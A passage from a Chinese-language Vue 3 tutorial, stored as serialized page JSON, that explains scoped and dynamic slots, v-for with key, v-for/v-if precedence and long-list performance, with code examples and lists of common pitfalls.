之间的内容就是「父级没传时的兜底」。",[53,26557,26559],{"id":26558},"作用域插槽数据归子组件长相归父组件","作用域插槽：数据归子组件，长相归父组件",[11,26561,26562,26563,26566,26567,7023],{},"插槽内容的作用域属于",[17,26564,26565],{},"父组件","，拿不到子组件的数据。要让父级按子组件的每行数据自定义渲染，就用作用域插槽（把数据当 props 传给 ",[22,26568,19424],{},[308,26570,26572],{"className":5996,"code":26571,"language":5998,"meta":314,"style":314},"\u003C!-- UserList.vue -->\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Cdiv v-for=\"(row, i) in rows\" :key=\"row.id\">\n      \u003Cslot name=\"row\" :row=\"row\" :index=\"i\" :odd=\"i % 2 === 1\">\n        \u003C!-- 没自定义时用一个朴素的兜底 -->\n        \u003Cspan>{{ row.name }}\u003C\u002Fspan>\n      \u003C\u002Fslot>\n    \u003C\u002Fdiv>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003C!-- 父组件：同一份数据，两种外观 -->\n\u003Cuser-list :rows=\"users\">\n  \u003Ctemplate #row=\"{ row, odd }\">\n    \u003Cspan :class=\"{ zebra: odd }\">{{ row.name }} · {{ row.level }}\u003C\u002Fspan>\n  \u003C\u002Ftemplate>\n\u003C\u002Fuser-list>\n\n\u003Cuser-list :rows=\"users\">\n  \u003Ctemplate #row=\"{ row }\">\n    \u003Cel-tag>{{ row.name }}\u003C\u002Fel-tag>\n  \u003C\u002Ftemplate>\n\u003C\u002Fuser-list>\n",[22,26573,26574,26579,26587,26595,26617,26656,26661,26675,26684,26693,26701,26709,26713,26718,26741,26746,26751,26755,26763,26767,26787,26792,26797,26801],{"__ignoreMap":314},[331,26575,26576],{"class":333,"line":334},[331,26577,26578],{"class":1003},"\u003C!-- UserList.vue -->\n",[331,26580,26581,26583,26585],{"class":333,"line":341},[331,26582,510],{"class":337},[331,26584,6012],{"class":497},[331,26586,505],{"class":337},[331,26588,26589,26591,26593],{"class":333,"line":357},[331,26590,537],{"class":337},[331,26592,6021],{"class":497},[331,26594,505],{"class":337},[331,26596,26597,26599,26601,26603,26605,26608,26610,26612,26615],{"class":333,"line":371},[331,26598,6036],{"class":337},[331,26600,6021],{"class":497},[331,26602,8073],{"class":501},[331,26604,518],{"class":337},[331,26606,26607],{"class":365},"\"(row, i) in rows\"",[331,26609,8081],{"class":501},[331,26611,518],{"class":337},[331,26613,26614],{"class":365},"\"row.id\"",[331,26616,505],{"class":337},[331,26618,26619,26622,26624,26626,26628,26631,26634,26636,26638,26641,26643,26646,26649,26651,26654],{"class":333,"line":384},[331,26620,26621],{"class":337},"      \u003C",[331,26623,7085],{"class":497},[331,26625,559],{"class":501},[331,26627,518],{"class":337},[331,26629,26630],{"class":365},"\"row\"",[331,26632,26633],{"class":501}," :row",[331,26635,518],{"class":337},[331,26637,26630],{"class":365},[331,26639,26640],{"class":501}," :index",[331,26642,518],{"class":337},[331,26644,26645],{"class":365},"\"i\"",[331,26647,26648],{"class":501}," :odd",[331,26650,518],{"class":337},[331,26652,26653],{"class":365},"\"i % 2 === 1\"",[331,26655,505],{"class":337},[331,26657,26658],{"class":333,"line":397},[331,26659,26660],{"class":1003},"        \u003C!-- 没自定义时用一个朴素的兜底 -->\n",[331,26662,26663,26666,26668,26671,26673],{"class":333,"line":418},[331,26664,26665],{"class":337},"        \u003C",[331,26667,331],{"class":497},[331,26669,26670],{"class":337},">{{ row.name }}\u003C\u002F",[331,26672,331],{"class":497},[331,26674,505],{"class":337},[331,26676,26677,26680,26682],{"class":333,"line":427},[331,26678,26679],{"class":337},"      \u003C\u002F",[331,26681,7085],{"class":497},[331,26683,505],{"class":337},[331,26685,26686,26689,26691],{"class":333,"line":439},[331,26687,26688],{"class":337},"    \u003C\u002F",[331,26690,6021],{"class":497},[331,26692,505],{"class":337},[331,26694,26695,26697,26699],{"class":333,"line":450},[331,26696,778],{"class":337},[331,26698,6021],{"class":497},[331,26700,505],{"class":337},[331,26702,26703,26705,26707],{"class":333,"line":456},[331,26704,788],{"class":337},[331,26706,6012],{"class":497},[331,26708,505],{"class":337},[331,26710,26711],{"class":333,"line":775},[331,26712,998],{"emptyLinePlaceholder":997},[331,26714,26715],{"class":333,"line":785},[331,26716,26717],{"class":1003},"\u003C!-- 父组件：同一份数据，两种外观 -->\n",[331,26719,26720,26722,26725,26727,26730,26732,26734,26737,26739],{"class":333,"line":795},[331,26721,510],{"class":337},[331,26723,26724],{"class":497},"user-list",[331,26726,2636],{"class":337},[331,26728,26729],{"class":501},"rows",[331,26731,518],{"class":337},[331,26733,6153],{"class":365},[331,26735,26736],{"class":337},"users",[331,26738,6153],{"class":365},[331,26740,505],{"class":337},[331,26742,26743],{"class":333,"line":805},[331,26744,26745],{"class":337},"  \u003Ctemplate #row=\"{ row, odd }\">\n",[331,26747,26748],{"class":333,"line":819},[331,26749,26750],{"class":337},"    \u003Cspan :class=\"{ zebra: odd }\">{{ row.name }} · {{ row.level }}\u003C\u002Fspan>\n",[331,26752,26753],{"class":333,"line":850},[331,26754,26504],{"class":337},[331,26756,26757,26759,26761],{"class":333,"line":886},[331,26758,788],{"class":337},[331,26760,26724],{"class":497},[331,26762,505],{"class":337},[331,26764,26765],{"class":333,"line":909},[331,26766,998],{"emptyLinePlaceholder":997},[331,26768,26769,26771,26773,26775,26777,26779,26781,26783,26785],{"class":333,"line":918},[331,26770,510],{"class":337},[331,26772,26724],{"class":497},[331,26774,2636],{"class":337},[331,26776,26729],{"class":501},[331,26778,518],{"class":337},[331,26780,6153],{"class":365},[331,26782,26736],{"class":337},[331,26784,6153],{"class":365},[331,26786,505],{"class":337},[331,26788,26789],{"class":333,"line":1232},[331,26790,26791],{"class":337},"  \u003Ctemplate #row=\"{ row }\">\n",[331,26793,26794],{"class":333,"line":1253},[331,26795,26796],{"class":337},"    \u003Cel-tag>{{ row.name }}\u003C\u002Fel-tag>\n",[331,26798,26799],{"class":333,"line":1259},[331,26800,26504],{"class":337},[331,26802,26803,26805,26807],{"class":333,"line":1271},[331,26804,788],{"class":337},[331,26806,26724],{"class":497},[331,26808,505],{"class":337},[11,26810,26811],{},"这是 Vue 里做「可定制表格 \u002F 下拉选项 \u002F 树节点」的标准手法，也是 element-plus、vuetify 这类库文档里最容易被跳过、却最值钱的一节。",[53,26813,26815,26816,26818],{"id":26814},"动态插槽名与-v-slot-全貌","动态插槽名与 ",[22,26817,19430],{}," 全貌",[308,26820,26822],{"className":485,"code":26821,"language":487,"meta":314,"style":314},"\u003Ctemplate #[item]=\"data\">        \u003C!-- 方括号里放变量，名字动态决定 -->\n\u003Ctemplate v-slot:header=\"props\"> \u003C!-- 完整写法，作用域数据整体接住 -->\n",[22,26823,26824,26844],{"__ignoreMap":314},[331,26825,26826,26828,26830,26833,26835,26838,26841],{"class":333,"line":334},[331,26827,510],{"class":337},[331,26829,6012],{"class":497},[331,26831,26832],{"class":501}," #[item]",[331,26834,518],{"class":337},[331,26836,26837],{"class":365},"\"data\"",[331,26839,26840],{"class":337},">        ",[331,26842,26843],{"class":1003},"\u003C!-- 方括号里放变量，名字动态决定 -->\n",[331,26845,26846,26848,26850,26853,26855,26858,26861],{"class":333,"line":341},[331,26847,510],{"class":337},[331,26849,6012],{"class":497},[331,26851,26852],{"class":501}," v-slot:header",[331,26854,518],{"class":337},[331,26856,26857],{"class":365},"\"props\"",[331,26859,26860],{"class":337},"> ",[331,26862,26863],{"class":1003},"\u003C!-- 完整写法，作用域数据整体接住 -->\n",[11,26865,26866,5664,26868,26870,26871,26877,26878,26880],{},[22,26867,20333],{},[22,26869,19531],{}," 的缩写。",[17,26872,26873,26874,26876],{},"在浏览器 in-DOM 模板里请用 ",[22,26875,19516],{}," 完整写法","——",[22,26879,20333],{}," 不是合法的 HTML 属性名字符，某些解析路径下会被丢掉（示例 10 有对照）。",[11,26882,26883,26884,26887,26888,26891],{},"Vue 2 的 ",[22,26885,26886],{},"slot=\"header\""," 属性写法和 ",[22,26889,26890],{},"slot-scope"," 都已废弃，升级老代码时全局搜这两个词。",[4748,26893],{"height":4750,"src":26894,"title":26895},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F10-slots.html","示例 10：默认\u002F具名\u002F作用域插槽与编译作用域",[11,26897,26898,26899,26902],{},"示例 10 的第三块是「同一份数据两种外观」：表格版和卡片版共用同一个 ",[22,26900,26901],{},"\u003Cuser-list>","，只有作用域插槽不同。",[53,26904,4796],{"id":13368},[11,26906,26907,268,26910,26913,26914,26916,26917,26919,26920,26922],{},[17,26908,26909],{},"1. 具名插槽的内容直接写在组件里，会全进默认插槽。",[22,26911,26912],{},"\u003Ccard-box>\u003Ch3 #header>标题\u003C\u002Fh3>\u003C\u002Fcard-box>"," 这种「把 ",[22,26915,19535],{}," 加在普通元素上」在 Vue 3 里不合法（",[22,26918,19430],{}," 只能用在 ",[22,26921,17928],{}," 或组件上），内容会落进默认插槽或触发警告。",[11,26924,26925,26928],{},[17,26926,26927],{},"2. 插槽内容里访问不到子组件的数据。"," 这是设计如此（编译作用域归父级），不是 bug。要数据就得走作用域插槽——新手常在这里绕一大圈。",[11,26930,26931,26936,26937,26939],{},[17,26932,26933,26934,161],{},"3. 传了插槽但子组件里没有 ",[22,26935,19424],{}," 开发版警告「Extraneous non-emits event listeners \u002F Slot content was provided」，内容被静默丢弃。封装组件时先确认 ",[22,26938,19424],{}," 写全了。",[11,26941,26942,26945,26946,26949],{},[17,26943,26944],{},"4. 同一个作用域插槽内容会被求值多次。"," 在插槽里读 ",[22,26947,26948],{},"$slots.row(...)"," 手动调用时，每次调用都是重新执行一次父级函数，带副作用的写法会重复触发。",[11,26951,26952,26957,26958,161],{},[17,26953,9903,26954,26956],{},[22,26955,18308],{}," 控制插槽内容时，父组件里的条件变量与子组件无关。"," 「插槽没显示」的排查顺序应该是：条件真值 → 插槽名拼写 → 子组件有没有对应 ",[22,26959,19424],{},[11,26961,26962,26969],{},[17,26963,26964,26965,26968],{},"6. 默认插槽与具名插槽混用时，",[22,26966,26967],{},"$slots.default"," 可能包含空白节点。"," 早期版本要做 trim 判断，Vue 3 已处理；但若你在 render 函数里手写插槽判断，仍需检查返回内容是否真的有意义。",[11,26971,26972,268,26975,26978,26979,26982],{},[17,26973,26974],{},"7. 具名插槽的兜底内容别忘写。",[22,26976,26977],{},"\u003Cslot name=\"footer\" \u002F>"," 空着时，父级不传就是一块空白框（外框样式还在，看着像 bug）。要么写兜底，要么用 ",[22,26980,26981],{},"v-if=\"$slots.footer\""," 把外层容器也省掉。",[53,26984,26986],{"id":26985},"附插槽语法速查","附：插槽语法速查",[57,26988,26989,27001],{},[60,26990,26991],{},[63,26992,26993,26995,26998],{},[66,26994,9791],{},[66,26996,26997],{},"子组件写法",[66,26999,27000],{},"父组件写法",[79,27002,27003,27018,27033,27048,27063,27078,27089,27107],{},[63,27004,27005,27008,27013],{},[84,27006,27007],{},"默认插槽 + 兜底",[84,27009,27010],{},[22,27011,27012],{},"\u003Cslot>兜底内容\u003C\u002Fslot>",[84,27014,27015],{},[22,27016,27017],{},"\u003Ccard>内容\u003C\u002Fcard>",[63,27019,27020,27023,27028],{},[84,27021,27022],{},"具名插槽",[84,27024,27025],{},[22,27026,27027],{},"\u003Cslot name=\"header\" \u002F>",[84,27029,27030],{},[22,27031,27032],{},"\u003Ctemplate #header>…\u003C\u002Ftemplate>",[63,27034,27035,27038,27043],{},[84,27036,27037],{},"作用域插槽",[84,27039,27040],{},[22,27041,27042],{},"\u003Cslot name=\"row\" :row=\"r\" \u002F>",[84,27044,27045],{},[22,27046,27047],{},"\u003Ctemplate #row=\"{ row }\">…\u003C\u002Ftemplate>",[63,27049,27050,27053,27061],{},[84,27051,27052],{},"插槽默认值",[84,27054,27055,14079,27058,27060],{},[22,27056,27057],{},"\u003Ctemplate #footer>\u003Cp>默认页脚\u003C\u002Fp>\u003C\u002Ftemplate>",[22,27059,19424],{}," 内",[84,27062,5122],{},[63,27064,27065,27068,27073],{},[84,27066,27067],{},"动态插槽名",[84,27069,27070],{},[22,27071,27072],{},"\u003Cslot :name=\"slotName\" \u002F>",[84,27074,27075],{},[22,27076,27077],{},"\u003Ctemplate #[slotName]>…\u003C\u002Ftemplate>",[63,27079,27080,27083,27087],{},[84,27081,27082],{},"判断父级是否传了",[84,27084,27085],{},[22,27086,26981],{},[84,27088,5122],{},[63,27090,27091,27094,27099],{},[84,27092,27093],{},"in-DOM 模板",[84,27095,27096],{},[22,27097,27098],{},"\u003Cslot name=\"header\">",[84,27100,27101,27104,27105,5149],{},[22,27102,27103],{},"\u003Ctemplate v-slot:header>","（别用 ",[22,27106,20333],{},[63,27108,27109,27112,27117],{},[84,27110,27111],{},"Vue 2 旧写法（已废弃）",[84,27113,27114],{},[22,27115,27116],{},"\u003Cslot name=\"x\">",[84,27118,27119],{},[22,27120,27121],{},"\u003Ctemplate slot=\"x\" slot-scope=\"p\">",[48,27123,27125],{"id":27124},"十一v-for-与-key列表渲染的稳定性","十一、v-for 与 key：列表渲染的稳定性",[11,27127,27128,27130,27131,27133],{},[22,27129,20091],{}," 把数组变成一串节点，",[22,27132,8230],{}," 告诉 Vue「哪个节点代表哪条数据」。这两件事写对了，列表才有正确的状态和能接受的性能——示例 11 用一个小勾选框演示了写错的后果。",[53,27135,27136],{"id":27136},"四种可遍历的数据",[308,27138,27140],{"className":485,"code":27139,"language":487,"meta":314,"style":314},"\u003Cli v-for=\"item in list\" :key=\"item.id\">{{ item.name }}\u003C\u002Fli>              \u003C!-- 数组 -->\n\u003Cli v-for=\"(item, i) in list\" :key=\"item.id\">{{ i }}: {{ item.name }}\u003C\u002Fli> \u003C!-- 带索引 -->\n\u003Cli v-for=\"(val, key) in obj\" :key=\"key\">{{ key }} = {{ val }}\u003C\u002Fli>        \u003C!-- 对象 -->\n\u003Cli v-for=\"(val, key, i) in obj\" :key=\"key\">…\u003C\u002Fli>                        \u003C!-- 对象带索引 -->\n\u003Cli v-for=\"n in 5\" :key=\"n\">第 {{ n }} 项\u003C\u002Fli>                             \u003C!-- 数字：1..5 -->\n\u003Cli v-for=\"ch of str\" :key=\"ch\">{{ ch }}\u003C\u002Fli>                             \u003C!-- 字符串 -->\n\n\u003C!-- 不想引入额外元素时用 template 分组 -->\n\u003Ctemplate v-for=\"(row, i) in rows\" :key=\"row.id\">\n  \u003Cdt>{{ row.name }}\u003C\u002Fdt>\u003Cdd>{{ row.value }}\u003C\u002Fdd>\n\u003C\u002Ftemplate>\n",[22,27141,27142,27172,27201,27231,27260,27291,27321,27325,27330,27350,27373],{"__ignoreMap":314},[331,27143,27144,27146,27148,27150,27152,27155,27157,27159,27162,27165,27167,27169],{"class":333,"line":334},[331,27145,510],{"class":337},[331,27147,1662],{"class":497},[331,27149,8073],{"class":501},[331,27151,518],{"class":337},[331,27153,27154],{"class":365},"\"item in list\"",[331,27156,8081],{"class":501},[331,27158,518],{"class":337},[331,27160,27161],{"class":365},"\"item.id\"",[331,27163,27164],{"class":337},">{{ item.name }}\u003C\u002F",[331,27166,1662],{"class":497},[331,27168,20638],{"class":337},[331,27170,27171],{"class":1003},"\u003C!-- 数组 -->\n",[331,27173,27174,27176,27178,27180,27182,27185,27187,27189,27191,27194,27196,27198],{"class":333,"line":341},[331,27175,510],{"class":337},[331,27177,1662],{"class":497},[331,27179,8073],{"class":501},[331,27181,518],{"class":337},[331,27183,27184],{"class":365},"\"(item, i) in list\"",[331,27186,8081],{"class":501},[331,27188,518],{"class":337},[331,27190,27161],{"class":365},[331,27192,27193],{"class":337},">{{ i }}: {{ item.name }}\u003C\u002F",[331,27195,1662],{"class":497},[331,27197,26860],{"class":337},[331,27199,27200],{"class":1003},"\u003C!-- 带索引 -->\n",[331,27202,27203,27205,27207,27209,27211,27214,27216,27218,27221,27224,27226,27228],{"class":333,"line":357},[331,27204,510],{"class":337},[331,27206,1662],{"class":497},[331,27208,8073],{"class":501},[331,27210,518],{"class":337},[331,27212,27213],{"class":365},"\"(val, key) in obj\"",[331,27215,8081],{"class":501},[331,27217,518],{"class":337},[331,27219,27220],{"class":365},"\"key\"",[331,27222,27223],{"class":337},">{{ key }} = {{ val }}\u003C\u002F",[331,27225,1662],{"class":497},[331,27227,26840],{"class":337},[331,27229,27230],{"class":1003},"\u003C!-- 对象 -->\n",[331,27232,27233,27235,27237,27239,27241,27244,27246,27248,27250,27252,27254,27257],{"class":333,"line":371},[331,27234,510],{"class":337},[331,27236,1662],{"class":497},[331,27238,8073],{"class":501},[331,27240,518],{"class":337},[331,27242,27243],{"class":365},"\"(val, key, i) in obj\"",[331,27245,8081],{"class":501},[331,27247,518],{"class":337},[331,27249,27220],{"class":365},[331,27251,6274],{"class":337},[331,27253,1662],{"class":497},[331,27255,27256],{"class":337},">                        ",[331,27258,27259],{"class":1003},"\u003C!-- 对象带索引 -->\n",[331,27261,27262,27264,27266,27268,27270,27273,27275,27277,27280,27283,27285,27288],{"class":333,"line":384},[331,27263,510],{"class":337},[331,27265,1662],{"class":497},[331,27267,8073],{"class":501},[331,27269,518],{"class":337},[331,27271,27272],{"class":365},"\"n in 5\"",[331,27274,8081],{"class":501},[331,27276,518],{"class":337},[331,27278,27279],{"class":365},"\"n\"",[331,27281,27282],{"class":337},">第 {{ n }} 项\u003C\u002F",[331,27284,1662],{"class":497},[331,27286,27287],{"class":337},">                             ",[331,27289,27290],{"class":1003},"\u003C!-- 数字：1..5 -->\n",[331,27292,27293,27295,27297,27299,27301,27304,27306,27308,27311,27314,27316,27318],{"class":333,"line":397},[331,27294,510],{"class":337},[331,27296,1662],{"class":497},[331,27298,8073],{"class":501},[331,27300,518],{"class":337},[331,27302,27303],{"class":365},"\"ch of str\"",[331,27305,8081],{"class":501},[331,27307,518],{"class":337},[331,27309,27310],{"class":365},"\"ch\"",[331,27312,27313],{"class":337},">{{ ch }}\u003C\u002F",[331,27315,1662],{"class":497},[331,27317,27287],{"class":337},[331,27319,27320],{"class":1003},"\u003C!-- 字符串 -->\n",[331,27322,27323],{"class":333,"line":418},[331,27324,998],{"emptyLinePlaceholder":997},[331,27326,27327],{"class":333,"line":427},[331,27328,27329],{"class":1003},"\u003C!-- 不想引入额外元素时用 template 分组 -->\n",[331,27331,27332,27334,27336,27338,27340,27342,27344,27346,27348],{"class":333,"line":439},[331,27333,510],{"class":337},[331,27335,6012],{"class":497},[331,27337,8073],{"class":501},[331,27339,518],{"class":337},[331,27341,26607],{"class":365},[331,27343,8081],{"class":501},[331,27345,518],{"class":337},[331,27347,26614],{"class":365},[331,27349,505],{"class":337},[331,27351,27352,27354,27357,27359,27361,27363,27366,27369,27371],{"class":333,"line":450},[331,27353,537],{"class":337},[331,27355,27356],{"class":497},"dt",[331,27358,26670],{"class":337},[331,27360,27356],{"class":497},[331,27362,7082],{"class":337},[331,27364,27365],{"class":497},"dd",[331,27367,27368],{"class":337},">{{ row.value }}\u003C\u002F",[331,27370,27365],{"class":497},[331,27372,505],{"class":337},[331,27374,27375,27377,27379],{"class":333,"line":456},[331,27376,788],{"class":337},[331,27378,6012],{"class":497},[331,27380,505],{"class":337},[11,27382,27383,2012,27386,27389,27390,27392,27393,27396,27397,27400],{},[22,27384,27385],{},"in",[22,27387,27388],{},"of"," 两种连接词等价（",[22,27391,27388],{}," 更接近 JS 的 ",[22,27394,27395],{},"for...of","，可读性略好）。遍历数字时 ",[22,27398,27399],{},"n"," 从 1 开始，不是 0——这条反直觉，值得记一下。",[53,27402,27404],{"id":27403},"key-的三条规矩","key 的三条规矩",[1659,27406,27407,27413,27425],{},[1662,27408,27409,27412],{},[17,27410,27411],{},"唯一","：同层列表内不能重复，否则 Vue 直接警告「Duplicate keys found」，节点复用错乱。",[1662,27414,27415,27418,27419,272,27422,27424],{},[17,27416,27417],{},"稳定","：同一个数据项在任何一次渲染中 key 不变。用 ",[22,27420,27421],{},"Math.random()",[22,27423,17081],{}," 当 key 会让每次渲染都重建全部节点。",[1662,27426,27427,27430,27431,161,27433,27436],{},[17,27428,27429],{},"来自数据本身","：优先用后端返回的 ",[22,27432,8521],{},[17,27434,27435],{},"index 不是 id","——只有当「列表顺序固定、永不重排\u002F插入\u002F删除、行内也没有本地状态」时才勉强可用。",[11,27438,27439],{},"用 index 当 key 为什么危险？因为 Vue 靠 key 决定「哪个 DOM 节点属于哪条数据」。用 index 时，头部插入一条数据后，原本第 2 行的节点（带着它的勾选框状态）被当成第 1 行继续用——于是「勾选状态跟着位置走，而不是跟着人走」。示例 11 的两种 key 策略切换就是让你亲眼看到这件事。",[53,27441,27443],{"id":27442},"v-for-与-v-if-同级vue-3-的顺序变了","v-for 与 v-if 同级：Vue 3 的顺序变了",[308,27445,27447],{"className":485,"code":27446,"language":487,"meta":314,"style":314},"\u003C!-- ✗ 不要这样写 -->\n\u003Cli v-for=\"u in users\" v-if=\"u.active\">{{ u.name }}\u003C\u002Fli>\n",[22,27448,27449,27454],{"__ignoreMap":314},[331,27450,27451],{"class":333,"line":334},[331,27452,27453],{"class":1003},"\u003C!-- ✗ 不要这样写 -->\n",[331,27455,27456,27458,27460,27462,27464,27467,27469,27471,27474,27477,27479],{"class":333,"line":341},[331,27457,510],{"class":337},[331,27459,1662],{"class":497},[331,27461,8073],{"class":501},[331,27463,518],{"class":337},[331,27465,27466],{"class":365},"\"u in users\"",[331,27468,8036],{"class":501},[331,27470,518],{"class":337},[331,27472,27473],{"class":365},"\"u.active\"",[331,27475,27476],{"class":337},">{{ u.name }}\u003C\u002F",[331,27478,1662],{"class":497},[331,27480,505],{"class":337},[11,27482,25709,27483,20096,27485,27487,27488,27490,27491,14117],{},[22,27484,18308],{},[17,27486,20099],{},"求值，此时 ",[22,27489,12374],{}," 还不存在 → ",[22,27492,27493],{},"u is not defined",[308,27495,27497],{"className":485,"code":27496,"language":487,"meta":314,"style":314},"\u003C!-- ① 用 computed 先过滤（首选：只算一次，还能缓存） -->\n\u003Cli v-for=\"u in activeUsers\" :key=\"u.id\">{{ u.name }}\u003C\u002Fli>\n\u003Cscript setup>\nconst activeUsers = computed(() => users.value.filter(u => u.active))\n\u003C\u002Fscript>\n\n\u003C!-- ② 条件在外层包一层（template 上不产生额外 DOM） -->\n\u003Cul v-if=\"showUsers\">\n  \u003Cli v-for=\"u in users\" :key=\"u.id\">…\u003C\u002Fli>\n\u003C\u002Ful>\n\n\u003C!-- ③ 每一行内部再用 v-if（当「过滤条件」和「行内显示」不是一回事时） -->\n\u003Cli v-for=\"u in users\" :key=\"u.id\">\u003Cspan v-if=\"u.active\">{{ u.name }}\u003C\u002Fspan>\u003C\u002Fli>\n",[22,27498,27499,27504,27530,27540,27569,27577,27581,27586,27601,27625,27633,27637,27642],{"__ignoreMap":314},[331,27500,27501],{"class":333,"line":334},[331,27502,27503],{"class":1003},"\u003C!-- ① 用 computed 先过滤（首选：只算一次，还能缓存） -->\n",[331,27505,27506,27508,27510,27512,27514,27517,27519,27521,27524,27526,27528],{"class":333,"line":341},[331,27507,510],{"class":337},[331,27509,1662],{"class":497},[331,27511,8073],{"class":501},[331,27513,518],{"class":337},[331,27515,27516],{"class":365},"\"u in activeUsers\"",[331,27518,8081],{"class":501},[331,27520,518],{"class":337},[331,27522,27523],{"class":365},"\"u.id\"",[331,27525,27476],{"class":337},[331,27527,1662],{"class":497},[331,27529,505],{"class":337},[331,27531,27532,27534,27536,27538],{"class":333,"line":357},[331,27533,510],{"class":337},[331,27535,891],{"class":497},[331,27537,6299],{"class":501},[331,27539,505],{"class":337},[331,27541,27542,27544,27547,27549,27551,27553,27555,27558,27560,27562,27564,27566],{"class":333,"line":371},[331,27543,951],{"class":616},[331,27545,27546],{"class":344}," activeUsers",[331,27548,957],{"class":616},[331,27550,13798],{"class":501},[331,27552,1486],{"class":337},[331,27554,1489],{"class":616},[331,27556,27557],{"class":337}," users.value.",[331,27559,21587],{"class":501},[331,27561,966],{"class":337},[331,27563,12374],{"class":2472},[331,27565,21594],{"class":616},[331,27567,27568],{"class":337}," u.active))\n",[331,27570,27571,27573,27575],{"class":333,"line":384},[331,27572,788],{"class":337},[331,27574,891],{"class":497},[331,27576,505],{"class":337},[331,27578,27579],{"class":333,"line":397},[331,27580,998],{"emptyLinePlaceholder":997},[331,27582,27583],{"class":333,"line":418},[331,27584,27585],{"class":1003},"\u003C!-- ② 条件在外层包一层（template 上不产生额外 DOM） -->\n",[331,27587,27588,27590,27592,27594,27596,27599],{"class":333,"line":427},[331,27589,510],{"class":337},[331,27591,1773],{"class":497},[331,27593,8036],{"class":501},[331,27595,518],{"class":337},[331,27597,27598],{"class":365},"\"showUsers\"",[331,27600,505],{"class":337},[331,27602,27603,27605,27607,27609,27611,27613,27615,27617,27619,27621,27623],{"class":333,"line":439},[331,27604,537],{"class":337},[331,27606,1662],{"class":497},[331,27608,8073],{"class":501},[331,27610,518],{"class":337},[331,27612,27466],{"class":365},[331,27614,8081],{"class":501},[331,27616,518],{"class":337},[331,27618,27523],{"class":365},[331,27620,6274],{"class":337},[331,27622,1662],{"class":497},[331,27624,505],{"class":337},[331,27626,27627,27629,27631],{"class":333,"line":450},[331,27628,788],{"class":337},[331,27630,1773],{"class":497},[331,27632,505],{"class":337},[331,27634,27635],{"class":333,"line":456},[331,27636,998],{"emptyLinePlaceholder":997},[331,27638,27639],{"class":333,"line":775},[331,27640,27641],{"class":1003},"\u003C!-- ③ 每一行内部再用 v-if（当「过滤条件」和「行内显示」不是一回事时） -->\n",[331,27643,27644,27646,27648,27650,27652,27654,27656,27658,27660,27662,27664,27666,27668,27670,27672,27674,27676,27678],{"class":333,"line":785},[331,27645,510],{"class":337},[331,27647,1662],{"class":497},[331,27649,8073],{"class":501},[331,27651,518],{"class":337},[331,27653,27466],{"class":365},[331,27655,8081],{"class":501},[331,27657,518],{"class":337},[331,27659,27523],{"class":365},[331,27661,7082],{"class":337},[331,27663,331],{"class":497},[331,27665,8036],{"class":501},[331,27667,518],{"class":337},[331,27669,27473],{"class":365},[331,27671,27476],{"class":337},[331,27673,331],{"class":497},[331,27675,902],{"class":337},[331,27677,1662],{"class":497},[331,27679,505],{"class":337},[11,27681,27682],{},"绝大多数情况选 ①。用 ③ 时注意：不满足条件的行仍然创建了节点，只是里面空着——数据量大时白花一堆开销。",[53,27684,27685],{"id":27685},"长列表的性能底线",[57,27687,27688,27699],{},[60,27689,27690],{},[63,27691,27692,27694,27696],{},[66,27693,14269],{},[66,27695,8278],{},[66,27697,27698],{},"注意",[79,27700,27701,27717,27728,27739,27752,27764],{},[63,27702,27703,27708,27711],{},[84,27704,27705,27707],{},[22,27706,20903],{}," 存列表",[84,27709,27710],{},"上千条、且行内不需要深层响应",[84,27712,27713,27714,27716],{},"更新时要",[17,27715,21229],{},"新数组",[63,27718,27719,27722,27725],{},[84,27720,27721],{},"分页 \u002F 无限滚动",[84,27723,27724],{},"一次没必要全放",[84,27726,27727],{},"IntersectionObserver 触发加载",[63,27729,27730,27733,27736],{},[84,27731,27732],{},"虚拟列表（vue-virtual-scroller 等）",[84,27734,27735],{},"万级、固定行高",[84,27737,27738],{},"需要稳定的高度与 key",[63,27740,27741,27746,27749],{},[84,27742,27743],{},[22,27744,27745],{},"v-memo=\"[row.id, row.done]\"",[84,27747,27748],{},"列表项内部有昂贵计算",[84,27750,27751],{},"依赖数组要写全，漏了就是「不更新」",[63,27753,27754,27758,27761],{},[84,27755,27756],{},[22,27757,19443],{},[84,27759,27760],{},"纯静态片段",[84,27762,27763],{},"一次之后永不更新",[63,27765,27766,27769,27772],{},[84,27767,27768],{},"把行抽成子组件",[84,27770,27771],{},"行内有自己的状态与逻辑",[84,27773,27774],{},"子组件 props 用浅比较天然省下渲染",[4748,27776],{"height":27777,"src":27778,"title":27779},740,"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F11-list-key.html","示例 11：index 作 key 的错位现场与 v-for\u002Fv-if 顺序",[53,27781,4796],{"id":14070},[11,27783,27784,27789,27790,27793],{},[17,27785,8723,27786,27788],{},[22,27787,8230],{}," 缺失时 Vue 用「原地复用」策略。"," 不报错、看起来也正常，直到你插入\u002F删除一行——输入框内容错位、checkbox 状态错乱。",[17,27791,27792],{},"开发版会警告，生产版不警告","，这是「测试环境好、线上用户截图说状态乱」的经典成因。",[11,27795,27796,27799,27800,655,27802,27804],{},[17,27797,27798],{},"2. index 当 key + 行内组件本地状态 = 灾难。"," 组件实例被复用时不会重新初始化，",[22,27801,5868],{},[22,27803,4778],{}," 留下的就是上一行的旧值。",[11,27806,27807,27812,27813,27816,27817,27819],{},[17,27808,6665,27809,27811],{},[22,27810,20091],{}," 里直接改数组会让遍历与渲染互相打断。"," 在循环体内 ",[22,27814,27815],{},"list.splice(i, 1)"," 删除当前项属于「边遍历边改」，请改用 ",[22,27818,21587],{}," 生成新数组赋值回去。",[11,27821,27822,27828,27829,27832,27833,27836],{},[17,27823,27824,27825,161],{},"4. 对象遍历的顺序依赖 ",[22,27826,27827],{},"Object.keys"," 数字键会被提前排序（",[22,27830,27831],{},"{2: 'a', 1: 'b'}"," 遍历顺序是 1、2），需要顺序就用数组，或 ",[22,27834,27835],{},"Object.entries"," 自己排。",[11,27838,27839,27849],{},[17,27840,9903,27841,27844,27845,27848],{},[22,27842,27843],{},"\u003Ctransition-group>","（Vue 3 里叫 ",[22,27846,27847],{},"\u003CTransitionGroup>","）必须有 key。"," 少 key 时进出场动画错位。",[11,27851,27852,27855,27856,27859],{},[17,27853,27854],{},"6. key 不是给 DOM 用的属性。"," 它不会出现在渲染出的 HTML 里，别指望用 ",[22,27857,27858],{},"querySelector('[key=1]')"," 找元素。",[11,27861,27862,27865,27866,27868,27869,27872],{},[17,27863,27864],{},"7. 深层嵌套列表的 key 要带上层级信息。"," 两层都用 ",[22,27867,13477],{}," 